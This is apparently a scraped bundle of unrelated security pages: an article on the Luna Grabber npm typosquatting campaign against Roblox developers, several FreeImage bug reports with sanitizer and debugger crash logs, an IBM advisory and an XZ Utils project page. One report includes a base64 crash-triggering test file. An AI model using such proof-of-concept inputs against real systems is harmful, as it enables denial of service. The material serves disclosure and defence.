By Habiba Rashid
The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js,…
This is a post from HackRead.com Read the original post: Luna Grabber Malware Hits Roblox Devs Through npm Packages

The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js, a popular Node.js Roblox API wrapper.

*   **Roblox developers are being targeted by a new malware called Luna Grabber**

*   **The malware is being distributed through malicious npm packages that impersonate legitimate software.**

*   **Luna Grabber is capable of stealing sensitive data from victims’ web browsers, Discord applications, and local system configurations.**

*   **The malware was downloaded approximately 1000 times, but its impact was relatively low due to the security measures in place to protect developers on the npm repository.**

*   **The incident highlights the growing trend of malicious actors employing typo squatting to exploit developers’ trust in legitimate software packages.**

Cybersecurity firm ReversingLabs has uncovered a sophisticated cyber attack targeting developers on the Roblox gaming platform. Malicious actors have been distributing malicious packages through the npm public repository, attempting to exploit users by mimicking legitimate software while incorporating malicious payloads that steal sensitive information from victims’ systems.

**Malware Campaign Overview**

The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js, a popular Node.js Roblox API wrapper. By infiltrating the npm public repository, attackers capitalized on unsuspecting developers seeking to interact with the Roblox gaming platform using scripts.

ReversingLabs researchers identified several malicious packages during the campaign, including noblox.js-vps, noblox.js-ssh, and noblox.js-secure. These packages were engineered to deliver multi-stage malicious payloads that targeted victims’ local web browsers and Discord applications. The most notable payload identified was Luna Grabber, an open-source malware designed to extract sensitive data.

**Malware Execution and Strategy**

Attackers meticulously designed the malicious packages to closely resemble the legitimate noblox.js package. By mirroring the original code and adopting similar naming conventions, the attackers aimed to deceive developers into downloading and using the compromised software.

The malicious packages leveraged a variety of techniques to compromise victims’ systems, including the incorporation of a separate file named postinstall.js. This post-installation script triggered the execution of a malicious payload after the package installation was completed. The malware then determined whether the victim was operating a Windows machine and proceeded to download and execute the Luna Grabber malware from Discord’s Content Delivery Network (CDN).

**Luna Grabber: Information Stealing Malware**

The research revealed that the primary payload of the malicious packages was Luna Grabber, a highly customizable malware capable of stealing information from victims’ web browsers, Discord applications, and local system configurations. The malware was also equipped with features that enabled it to detect virtual environments and initiate a self-destruct mechanism if necessary.

Interestingly, the attackers behind the campaign took advantage of the user-friendly nature of Luna Grabber’s builder application, simplifying the process of creating and configuring the malicious executable.

Screenshot shared by ReversingLabs shows Luna Grabber builder

While Luna Grabber’s open-source nature allowed attackers to tailor the malware to their needs, the choice of targeting developers on the Roblox platform suggests a focus on a specific user group.

**Limited Impact and Lessons Learned**

Despite the campaign’s sophistication, its impact remained relatively low. The malicious packages were downloaded approximately 1000 times, signalling that the security measures in place to protect developers on the npm repository were successful in limiting the reach of the attack.

The incident sheds light on the growing trend of malicious actors employing typo squatting to exploit developers’ trust in legitimate software packages. This approach has been previously observed in other campaigns, such as the IconBurst and Brainleeches campaigns.

Fake noblox.js-ssh’s npm website page (ReversingLabs)

While multi-stage malicious packages are common on certain open-source platforms, such as PyPI, their presence on npm—where this campaign took place—represents the ongoing challenge of maintaining secure open-source repositories and the importance of cautiousness in choosing software packages for development purposes.

1.  CISA warns of trojanized JavaScript library’s NPM package
2.  Discord.io Admits Data Breach: Info of 760K Users Sold Online
3.  6 official Python repositories plagued with cryptomining malware

Luna Grabber Malware Hits Roblox Devs Through npm Packages

Buffer Overflow vulnerability in function LoadPixelDataRLE8 in PluginBMP.cpp in FreeImage 3.18.0 allows remote attackers to run arbitrary code and cause other impacts via crafted image file.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Milestone: None

Status: pending

Labels: None

Priority: 5

Updated: 2021-04-04

Created: 2019-12-03

Private: No

There is a heap-buffer-overflow in function LoadPixelDataRLE8 of PluginBMP.cpp whick may cause a code execution or denial of service.  
The asan log as below:

\=================================================================
\==28346\==ERROR: AddressSanitizer: heap\-buffer\-overflow on address 0xf4b02ca0 at pc 0x081595db bp 0xff8e4b28 sp 0xff8e4b20
WRITE of size 1 at 0xf4b02ca0 thread T0
    #0 0x81595da in LoadPixelDataRLE8(FreeImageIO\*, void\*, int, int, FIBITMAP\*) /home/FreeImage/Source/FreeImage/PluginBMP.cpp:445:22
    #1 0x8153442 in LoadWindowsBMP(FreeImageIO\*, void\*, int, unsigned int, int) /home/FreeImage/Source/FreeImage/PluginBMP.cpp:555:11
    #2 0x8153442 in Load(FreeImageIO\*, void\*, int, int, void\*) /home/FreeImage/Source/FreeImage/PluginBMP.cpp:1135:12
    #3 0x814d00b in FreeImage\_LoadFromHandle /home/FreeImage/Source/FreeImage/Plugin.cpp:388:24
    #4 0x814d00b in FreeImage\_Load /home/FreeImage/Source/FreeImage/Plugin.cpp:408:22
    #5 0x811a7a0 in main /home/FreeImage/test.cpp:115:8
    #6 0xf7290fb8 in \_\_libc\_start\_main /build/glibc\-jYPHgv/glibc\-2.30/csu/../csu/libc\-start.c:308:16
    #7 0x806f8f5 in \_start (/home/FreeImage/test+0x806f8f5)

0xf4b02ca0 is located 0 bytes to the right of 544\-byte region \[0xf4b02a80,0xf4b02ca0)
allocated by thread T0 here:
    #0 0x80e6675 in malloc (/home/FreeImage/TestAPI/testAPI+0x80e6675)
    #1 0x812aa32 in FreeImage\_Aligned\_Malloc(unsigned int, unsigned int) /home/FreeImage/Source/FreeImage/BitmapAccess.cpp:183:19
    #2 0x812aa32 in FreeImage\_AllocateBitmap(int, unsigned char\*, unsigned int, FREE\_IMAGE\_TYPE, int, int, int, unsigned int, unsigned int, unsigned int) /home/FreeImage/Source/FreeImage/BitmapAccess.cpp:390:26
    #3 0x812b600 in FreeImage\_AllocateHeader /home/FreeImage/Source/FreeImage/BitmapAccess.cpp:482:9
    #4 0x8152bf1 in LoadWindowsBMP(FreeImageIO\*, void\*, int, unsigned int, int) /home/FreeImage/Source/FreeImage/PluginBMP.cpp:494:11
    #5 0x8152bf1 in Load(FreeImageIO\*, void\*, int, int, void\*) /home/FreeImage/Source/FreeImage/PluginBMP.cpp:1135:12
    #6 0x814d00b in FreeImage\_LoadFromHandle /home/FreeImage/Source/FreeImage/Plugin.cpp:388:24
    #7 0x814d00b in FreeImage\_Load /home/FreeImage/Source/FreeImage/Plugin.cpp:408:22
    #8 0x811a7a0 in main /home/FreeImage/test.cpp:115:8
    #9 0xf7290fb8 in \_\_libc\_start\_main /build/glibc\-jYPHgv/glibc\-2.30/csu/../csu/libc\-start.c:308:16

SUMMARY: AddressSanitizer: heap\-buffer\-overflow /home/FreeImage/Source/FreeImage/PluginBMP.cpp:445:22 in LoadPixelDataRLE8(FreeImageIO\*, void\*, int, int, FIBITMAP\*)
Shadow bytes around the buggy address:
  0x3e960540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e960550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e960560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e960570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e960580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\=>0x3e960590: 00 00 00 00\[fa\]fa fa fa fa fa fa fa fa fa fa fa
  0x3e9605a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9605b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e9605c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e9605d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e9605e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
\==28346\==ABORTING

**1 Attachments**

**Discussion**

Log in to post a comment.

CVE-2020-21427: FreeImage / Bugs / #298 heap-buffer-overflow in function LoadPixelDataRLE8 of PluginBMP.cpp


IBM Robotic Process Automation 21.0.0 through 21.0.7 server could allow an authenticated user to view sensitive information from application logs. IBM X-Force ID: 262289.



  

**Summary**

IBM Robotic Process Automation is vulnerable to exposure of sensitive information in application logs. In specific error conditions, a login id may be logged to the application log un-obfuscated. (CVE-2023-38732)

**Vulnerability Details**

**CVEID:**   CVE-2023-38732  
**DESCRIPTION:**   IBM Robotic Process Automation server could allow an authenticated user to view sensitive information from application logs.  
CVSS Base score: 4.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/262289 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)

**Affected Products and Versions**

Affected Product(s)

Version(s)

IBM Robotic Process Automation

21.0.0 - 21.0.7

IBM Robotic Process Automation for Cloud Pak

21.0.0 - 21.0.7

**Remediation/Fixes**

**IBM strongly recommends addressing the vulnerability now.**

**Product(s)**

**Version(s) number and/or range** 

**Remediation/Fix/Instructions**

IBM Robotic Process Automation

21.0.0 - 21.0.7

Download 21.0.7.1 or higher and follow these instructions.

IBM Robotic Process Automation for Cloud Pak

21.0.0 - 21.0.7

Update to 21.0.7.1 or higher using the following instructions. 

**Workarounds and Mitigations**

**Workarounds/Mitigation guidance**:

Remove older application logs that were created in versions 21.0.0 - 21.0.7.

**References**

Off

**Acknowledgement**

Mariana Penna (IBM)

**Change History**

21 Aug 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSC50T","label":"IBM Robotic Process Automation"},"Component":"","Platform":\[{"code":"PF033","label":"Windows"},{"code":"PF040","label":"RedHat OpenShift"}\],"Version":"21.0.0 - 21.0.7","Edition":"","Line of Business":{"code":"LOB45","label":"Automation"}}\]

CVE-2023-38732: IBM Robotic Process Automation is vulnerable to exposure of sensitive information in application logs (CVE-2023-38732)

A stack exhaustion issue was discovered in FreeImage before 1.18.0 via the Validate function in PluginRAW.cpp.

> tl;dr:  
> When Load RIFF format files, "size" is read from file. FreeImage seek file pos by "size", and function Validate will call LibRaw::open\_datastream with LibRaw\_freeimage\_datastream, it will call to LibRaw::parse\_riff. If "size" is a negative number(>0x7ffffffff), FreeImage will call LibRaw::parse\_riff function by itself, it eventually causing the stack to be filled.

When the program reads a RIFF format file, it will call to the Validate function of the 'PluginRAW.cpp' file , to validata format.

In Validate function, it will use LibRaw\_freeimage\_datastream to call LibRaw::open\_datastream

static BOOL DLL\_CALLCONV
Validate(FreeImageIO \*io, fi\_handle handle) {           //<---- io is LibRaw\_freeimage\_datastream
......
    // no magic signature : we need to open the file (it will take more time to identify it)
    // do not declare RawProcessor on the stack as it may be huge (300 KB)
    {
        LibRaw \*RawProcessor \= new(std::nothrow) LibRaw;

        if(RawProcessor) {
            BOOL bSuccess \= TRUE;

            // wrap the input datastream
            LibRaw\_freeimage\_datastream datastream(io, handle);

            // open the datastream
            if(RawProcessor->open\_datastream(&datastream) != LIBRAW\_SUCCESS) {     //<---- call LibRaw::open\_datastream
                bSuccess \= FALSE;   // LibRaw : failed to open input stream (unknown format)
            }

            // clean-up internal memory allocations
            RawProcessor-\>recycle();
            delete RawProcessor;

            return bSuccess;
        }
    }

    return FALSE;
}

And will call to LibRaw::parse\_riff function if file start with "RIFF".

FreeImaged.dll!LibRaw::parse\_riff()
FreeImaged.dll!LibRaw::identify()
FreeImaged.dll!LibRaw::open\_datastream(LibRaw\_abstract\_datastream \* stream)
FreeImaged.dll!Validate(FreeImageIO \* io, void \* handle)
FreeImaged.dll!FreeImage\_ValidateFIF(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle)
FreeImaged.dll!FreeImage\_GetFileTypeFromHandle(FreeImageIO \* io, void \* handle, int size)
FreeImaged.dll!FreeImage\_GetFileType(const char \* filename, int size)

In LibRaw::parse\_riff function, it call itslef by variable "tag". And the "tag" is read from file.

void LibRaw::parse\_riff()
{
  unsigned i, size, end;
  char tag\[4\], date\[64\], month\[64\];
  static const char mon\[12\]\[4\] \= {"Jan", "Feb", "Mar", "Apr", "May", "Jun",
                                  "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"};
  struct tm t;

  order \= 0x4949;
  fread(tag, 4, 1, ifp);
  size \= get4();                                //<---- size read from file
  end \= ftell(ifp) + size;
  if (!memcmp(tag, "RIFF", 4) || !memcmp(tag, "LIST", 4))
  {
    int maxloop \= 1000;
    get4();
    while (ftell(ifp) + 7 < end && !feof(ifp) && maxloop\--)
      parse\_riff();                             //<---- call itself
  }
.......
  }
  else
    fseek(ifp, size, SEEK\_CUR);                 //<---- seek pos by size
}

function get4() just read four bytes.

unsigned LibRaw::get4()
{
  uchar str\[4\] \= {0xff, 0xff, 0xff, 0xff};
  fread(str, 1, 4, ifp);
  return sget4(str);
}

\_\_int64 is file default variable type at LibRaw\_bigfile\_buffered\_datastream in "libraw\_datastream.h"

class DllDef LibRaw\_bigfile\_buffered\_datastream : public LibRaw\_abstract\_datastream
{
public:
......
    virtual INT64 tell();
    virtual INT64 size() { return \_fsize; }
......
protected:
    INT64   readAt(void \*ptr, size\_t size, INT64 off);
......
    INT64 \_fsize;
    INT64 \_fpos; /\* current file position; current buffer start position \*/
......
};

But long is file default variable type at "LibRaw\_freeimage\_datastream" in FreeImageIO.cpp

unsigned DLL\_CALLCONV 
\_ReadProc(void \*buffer, unsigned size, unsigned count, fi\_handle handle) {
    return (unsigned)fread(buffer, size, count, (FILE \*)handle);
}

unsigned DLL\_CALLCONV 
\_WriteProc(void \*buffer, unsigned size, unsigned count, fi\_handle handle) {
    return (unsigned)fwrite(buffer, size, count, (FILE \*)handle);
}

int DLL\_CALLCONV
\_SeekProc(fi\_handle handle, long offset, int origin) {
    return fseek((FILE \*)handle, offset, origin);
}

long DLL\_CALLCONV
\_TellProc(fi\_handle handle) {
    return ftell((FILE \*)handle);
}

So if we let "size" to a negative number, the the file cursor pos could go back to begining of function.  
LibRaw::parse\_riff will call function by itself, it eventually causing the stack to be filled. An attacker can reach a remote denial of service attack by sending a specially constructed file.

windbg:

ModLoad: 00000001\`80000000 00000001\`80a65000   D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Dist\\x64\\FreeImaged.dll
ModLoad: 00007ffa\`f4430000 00007ffa\`f44bd000   C:\\Windows\\SYSTEM32\\MSVCP140.dll
ModLoad: 00007ffb\`5eda0000 00007ffb\`5edac000   C:\\Windows\\SYSTEM32\\VCRUNTIME140\_1.dll
ModLoad: 00007ffb\`7de50000 00007ffb\`7debb000   C:\\Windows\\System32\\WS2\_32.dll
ModLoad: 00007ffb\`69a60000 00007ffb\`69a7b000   C:\\Windows\\SYSTEM32\\VCRUNTIME140.dll
ModLoad: 00007ffb\`39170000 00007ffb\`391a7000   C:\\Windows\\SYSTEM32\\VCOMP140D.DLL
ModLoad: 00007ffb\`7dd20000 00007ffb\`7de4a000   C:\\Windows\\System32\\RPCRT4.dll
(4460.8c84): Break instruction exception \- code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb\`7ed80770 cc              int     3
0:000\> g
(4460.8c84): Stack overflow \- code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FreeImaged!\_\_crt\_stdio\_stream::has\_any\_buffer+0x13:
00000001\`8058e103 e808000000      call    FreeImaged!\_\_crt\_stdio\_stream::has\_any\_of (00000001\`8058e110)
0:000\> k
 # Child\-SP          RetAddr               Call Site
00 000000a9\`09a03ff0 00000001\`805a2947     FreeImaged!\_\_crt\_stdio\_stream::has\_any\_buffer+0x13 \[minkernel\\crts\\ucrt\\inc\\corecrt\_internal\_stdio.h @ 221\] 
01 000000a9\`09a04020 00000001\`805a31c0     FreeImaged!\_fread\_nolock\_s+0x2b7 \[minkernel\\crts\\ucrt\\src\\appcrt\\stdio\\fread.cpp @ 93\] 
02 000000a9\`09a04100 00000001\`805a307d     FreeImaged!fread\_s+0x130 \[minkernel\\crts\\ucrt\\src\\appcrt\\stdio\\fread.cpp @ 56\] 
03 000000a9\`09a04150 00000001\`8000f564     FreeImaged!fread+0x3d \[minkernel\\crts\\ucrt\\src\\appcrt\\stdio\\fread.cpp @ 240\] 
04 000000a9\`09a04190 00000001\`8005192b     FreeImaged!\_ReadProc+0x34 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\FreeImage\\FreeImageIO.cpp @ 33\] 
05 000000a9\`09a041c0 00000001\`802f1bf1     FreeImaged!LibRaw\_freeimage\_datastream::read+0x3b \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\FreeImage\\PluginRAW.cpp @ 67\] 
06 000000a9\`09a041f0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x81 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 256\] 
07 000000a9\`09a043b0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
08 000000a9\`09a04570 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
09 000000a9\`09a04730 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
0a 000000a9\`09a048f0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
0b 000000a9\`09a04ab0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
0c 000000a9\`09a04c70 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 

TestFile:

data:image/raw;base64,UklGRiAAAAAAAAAAMHg3OQAAAAAwMDAw5P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\==

CVE-2021-40262: FreeImage / Bugs / #338 A stack buff overflower in function Validate() located in PluginRAW.cpp

An issue discovered in XZ 5.2.5 allows attackers to cause a denial of service via decompression of crafted file.

XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils.

The core of the XZ Utils compression code is based on LZMA SDK, but it has been modified quite a lot to be suitable for XZ Utils. The primary compression algorithm is currently LZMA2, which is used inside the .xz container format. With typical files, XZ Utils create 30 % smaller output than gzip and 15 % smaller output than bzip2.

XZ Utils consist of several components:

*   liblzma is a compression library with an API similar to that of zlib.
*   xz is a command line tool with syntax similar to that of gzip.
*   xzdec is a decompression-only tool smaller than the full-featured xz tool.
*   A set of shell scripts (xzgrep, xzdiff, etc.) have been adapted from gzip to ease viewing, grepping, and comparing compressed files.
*   Emulation of command line tools of LZMA Utils eases transition from LZMA Utils to XZ Utils.

While liblzma has a zlib-like API, liblzma doesn't include any file I/O functions. A separate I/O library is planned, which would abstract handling of .gz, .bz2, and .xz files with an easy to use API.

**Documentation**

Man page with a keyword index: xz(1)

Doxygen-generated liblzma API documentation is also included in the source packages since XZ Utils 5.4.2.

**Source code**

Versions 5.2.12, 5.4.3, and later have been signed with Jia Tan's OpenPGP key. The older files have been signed with Lasse Collin's OpenPGP key.

See the NEWS file for a summary of changes between versions.

**Stable**

5.4.4 was released on 2023-08-02. A minor bug fix release 5.2.12 to the old stable branch was made on 2023-05-04. This is probably the last release in the 5.2.x series.

XZ Utils releases are hosted on GitHub and thus some of the links below redirect to the XZ Utils release section on GitHub. Release files are also available in the XZ Utils files section on Sourceforge.

xz-5.4.4.tar.gz (2808 KiB) signature  
xz-5.4.4.tar.bz2 (2116 KiB) signature  
xz-5.4.4.tar.zst (1680 KiB) signature  
xz-5.4.4.tar.xz (1623 KiB) signature

Probably the last release of the old stable branch:

xz-5.2.12.tar.gz (2140 KiB) signature  
xz-5.2.12.tar.bz2 (1593 KiB) signature  
xz-5.2.12.tar.zst (1317 KiB) signature  
xz-5.2.12.tar.xz (1275 KiB) signature

**Development**

The new APIs, command line options etc. in development releases should be considered unstable. Incompatible changes to unstable features may be done before they get included in a stable release.

There currently are no development releases.

**Old versions**

Source and binary packages of old XZ Utils releases are available on a separate page.

**Git repository**

The primary repository is on GitHub:

git clone https://github.com/tukaani-project/xz

It is mirrored with some delay to git.tukaani.org:

git clone https://git.tukaani.org/xz.git

Gitweb

Branches:

*   **master**: the latest development code
*   **v5.4**: fixes for the next 5.4.x release
*   **v5.2**: fixes for the next 5.2.x release
*   **v5.0**: fixes for the next 5.0.x release (unmaintained)

Building the code from the git repository requires GNU Autotools. Here are the _minimum_ versions that should work with XZ Utils; using the latest versions is strongly recommended:

*   Autoconf 2.69
*   Automake 1.12
*   gettext 0.19.6 (Note: autopoint depends on cvs!)
*   Libtool 2.4

The following are optional dependencies. The autogen.sh script will fail if they are missing but autogen.sh takes command line arguments to disable these dependencies.

*   po4a is needed for translated documentation (man pages). To build without po4a, use --no-po4a with autogen.sh.
*   Doxygen is needed to generate liblzma API documentation. To build without Doxygen, use --no-doxygen with autogen.sh.

**Security issues****xzgrep CVE-2022-1271, ZDI-CAN-16587**

A patch to fix a security vulnerability in xzgrep (CVE-2022-1271, ZDI-CAN-16587) was made public on 2022-04-07. The patch applies to 4.999.9beta to 5.2.5, 5.3.1alpha, and 5.3.2alpha. Newer XZ Utils releases include an improved fix for the problem.

It is a severe issue if an attacker can control the filenames that are given on the xzgrep command line. The vulnerability was discovered by cleemy desu wayo working with Trend Micro Zero Day Initiative. For more information, see the detailed description in the patch file linked below.

xzgrep-ZDI-CAN-16587.patch  
xzgrep-ZDI-CAN-16587.patch.sig

**Bindings****Python**

Python 3.3 includes bindings for liblzma. A backport of these bindings are available for Python 2 in the backports.lzma package.

lzmaffi is another Python binding which adds random-access decompression support.

The original Python 2 binding for liblzma is PylibLZMA.

**Perl**

Perl bindings for liblzma: IO-Compress-Lzma and Compress-Raw-Lzma.

**Haskell**

Haskell bindings.

**Delphi and Free Pascal**

Bindings and example programs for Delphi and Free Pascal are available here.

**Pre-built binaries**

Many free software operating systems already provide easy-to-install XZ Utils binaries. It doesn't make sense to provide links to all those here. Instead, binaries or links to websites providing binaries are listed here only for operating systems that don't have well-known repositories where users would get software like this.

If you have a website that provides up-to-date XZ Utils binaries for an operating system that meets the the criteria above, let me know and I will include a link here. Note that I won't host the binaries themselves without a good reason.

**Windows**

The Windows version of XZ Utils includes binaries for 32-bit and 64-bit x86. The binaries only depend on msvcrt.dll, which is available on Windows 98 and later out of the box.

*   Command line tools: xz, xzdec, lzmadec, lzmainfo
*   Shared (DLL) and static liblzma, required C header files, and liblzma.def to create import libraries for non-GNU toolchains (no import library is needed with GNU toolchain)
*   Documentation is in plain text (UTF-8) format. The man pages of the command line tools are included also as PDF.

5.2.10, 5.2.11, or 5.2.12 do not have anything significant for Windows so only 5.2.9 is here. 5.4.x builds are not provided for now.

xz-5.2.9-windows.zip (1473 KiB) signature  
xz-5.2.9-windows.7z (708 KiB) signature

**DOS**

The DOS version of XZ Utils includes only the xz command line tool and some documentation. The xz tool should work e.g. on FreeDOS (also in DOSEMU), MS-DOS, and Windows 95/98/98SE/ME. This doesn't necessarily work in DOSBox at all, and at least some problems are expected under Windows XP Command Prompt (signal handling doesn't work).

Since the DOS version is naturally going to get very little testing, it is recommended to use the Windows version instead of the DOS version if you need xz under Windows 98 or later. It is likely that that the DOS version will be updated only occasionally.

5.2.0 and later have experimental support for 8.3 filenames. See xz-dos.txt in the binary package or dos/README.txt in the source package for details.

xz-5.4.0-dos.zip (277 KiB) signature

The package includes some copylefted code from DJGPP and CWSDPMI. The relevant source code is available from their home pages, and copies are also available below.

djlsr205.zip (2000 KiB)  
djtst205.zip (1061 KiB)  
csdpmi7s.zip (88 KiB)

Juan Manuel Guerrero has made a more complete port of XZ Utils to DOS. It also has support for short file names (8.3), but the naming method is different from the one found in 5.2.0 and later. It is available from DJGPP mirrors under /current/v2apps (e.g. xz-500b.zip for 5.0.0 binaries).

**Supported platforms**

Below is an incomplete and somewhat vague (version numbers mostly missing) list of operating systems on which XZ Utils should work. The compiler(s) or toolchains are mentioned in parenthesis. GCC refers to GCC 3 or later. If you have additions or corrections, please email them to me.

*   GNU/Linux (GCC, Clang, ICC, IBM XL C)
*   GNU/HURD (GCC)
*   DragonflyBSD (GCC)
*   FreeBSD (GCC, Clang)
*   MirBSD (GCC)
*   NetBSD (GCC)
*   OpenBSD (Clang, GCC)
*   MINIX 3 (GCC) \[1\]
*   Haiku (GCC4)
*   Mac OS X (GCC)
*   Solaris 8, 9, 10, 11 (GCC, Sun Studio) \[3\]
*   Solaris 2.6, 7 (GCC)
*   HP-UX (GCC, HP ANSI C) \[2\]
*   Tru64 (GCC, Compaq C compiler) \[1\]
*   IRIX (MIPSpro) \[1\]
*   AIX (GCC, IBM XL C)
*   z/OS (IBM XL C)
*   QNX (compilers?)
*   OpenVMS (HP C compiler) \[1\]
*   OpenVOS 17 (GCC)
*   SCO OpenServer 5.0.7 (GCC 3.4.6, 4.2.4) \[4\]
*   Windows 95 and later (GCC/MinGW, GCC/MinGW-w64, GCC/Cygwin, GCC/Interix, Visual Studio (VS can only build liblzma)) \[1\]
*   OS/2, eComStation (GCC)
*   DOS e.g. FreeDOS and MS-DOS (GCC/DJGPP) \[1\]

\[1\] See also the platform-specific notes in the INSTALL file.

\[2\] 2010-09-22: HP ANSI C compiler crashes when compiling XZ Utils on PA-RISC. On Itanium there are no problems.

\[3\] On Solaris 8 and 9 one may need to pass ac\_cv\_prog\_cc\_c99= to configure if using Sun Studio.

\[4\] Use --disable-threads when running configure.

**Licensing**

The most interesting parts of XZ Utils (e.g. liblzma) are in the public domain. You can do whatever you want with the public domain parts.

Some parts of XZ Utils (e.g. build system and some utilities) are under different free software licenses such as GNU LGPLv2.1, GNU GPLv2, or GNU GPLv3.

See the file COPYING for more details.

CVE-2020-22916: XZ Utils

A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load SOF(Start Of Frame) JPEG files, "components" of SOF is read from file. FreeImage alloc memory size is controlled by "components" , but sometime FreeImage replace default size to alloc. if "components" is greater than default in alloc function, it will writing data more than the allocated memory.

When the program reads a JPEG file, it will be handed to the Load function of the 'PluginJPEG.cpp' file,  
in Load function, we alloc memory by FreeImage\_AllocateHeader(), and write memory in jpeg\_read\_scanlines(). And the "components" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
    if (handle) {
......
        struct jpeg\_decompress\_struct cinfo;
......
            // step 3: read handle parameters with jpeg\_read\_header()

